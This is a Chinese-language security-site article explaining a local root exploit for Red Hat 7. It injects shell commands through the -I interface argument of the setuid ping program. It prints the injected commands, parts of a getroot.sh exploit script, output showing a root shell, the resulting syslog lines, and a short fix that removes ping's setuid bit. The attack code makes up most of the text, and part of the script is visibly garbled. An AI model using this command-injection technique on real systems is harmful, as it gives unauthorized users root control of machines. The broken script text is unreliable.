快捷搜索:   服务器  安全  linux 安全  MYSQL  dedecms

redhat7本地利用ping拿root漏洞详析


  作者: 大鹰
  
  首先声明,本人及本人所在公司盖不对利用此漏洞所造成的损失负责。攻击代码不长,可以用shell或
  perl来编写,推荐用shell写。
  
  原理:
  也许是redhat7的重大漏洞吧,他的ping程序的-I参数指定interface时通过modprobe和insmod执行任意代
  码,大家都知道ping程序的权位是这样的:
  [Hello!sune4gle]$ ls -l /bin/ping
  -rwsr-xr-x 1 root root 20604 Aug 8 2000 /bin/ping
  ping程序调用了raw_socket的所有setuid位,呵呵,我们可以通过用ping的-I参数来ping一个不存在的ip
  ,当然ip前面的参数是关键,也就是我们的执行命令,s权位令我们以普通权限的uid来运行ping时的euid
  为0,所以实际上我们在运行ping的一瞬间是以超级拥护的权限在执行命令的。这样如果我们运行如下的
  命令的话:
  [Hello!sune4gle]$ping -I ';chmod o+w .' 195.117.3.59 &>/dev/null
  就是把当前目录对其他用户可写了,呵呵,当然我们可以利用sleep语句来使该进程等待,利用等待的时
  间我们可以写一个c程序,让他编译并且运行:
  cat >/x.c /x.c /dev/null
  sleep 1
  
  if [ ! -u /x ]; then
   echo "Apparently, this is not exploitable on this system :("
   exit 1
  fi
  
  echo "Ye! Entering rootshell..."
  
  /x
  
  echo "Thank you."
  
  哈哈,好,我把这个shell程序在redhat7下的运行测试结果贴出来:
  首先我得有个普通帐户,嘿嘿
  [Hello!sune4gle]$ ./getroot.sh
  
  RedHat 7.0 exploit
  (c) 2000 suneagle
  
  Enjoy hacking!
  
  Phase 1: making / world-writable...
  Phase 2: compiling helper program in /...
  Phase 3: chown+chmod on our helper program...
  Ye! Entering rootshell...
  [Hello!root]# id
  uid=0(root) gid=500(sune4gle) groups=500(sune4gle)
  [Hello!root]#
  攻击后的log:
  Feb 24 11:16:27 sune4gle modprobe: modprobe: insmod ;chmod o+w . failed
  Feb 24 11:16:30 sune4gle modprobe: modprobe: insmod ;chown 0 x failed
  Feb 24 11:16:31 sune4gle modprobe: modprobe: insmod ;chmod +s x failed
  解决方法:
  去掉或限制ping程序的setuid位
  [Hello!sune4gle]# chmod 655 /bin/ping
  
顶(0)
踩(0)

您可能还会对下面的文章感兴趣:

最新评论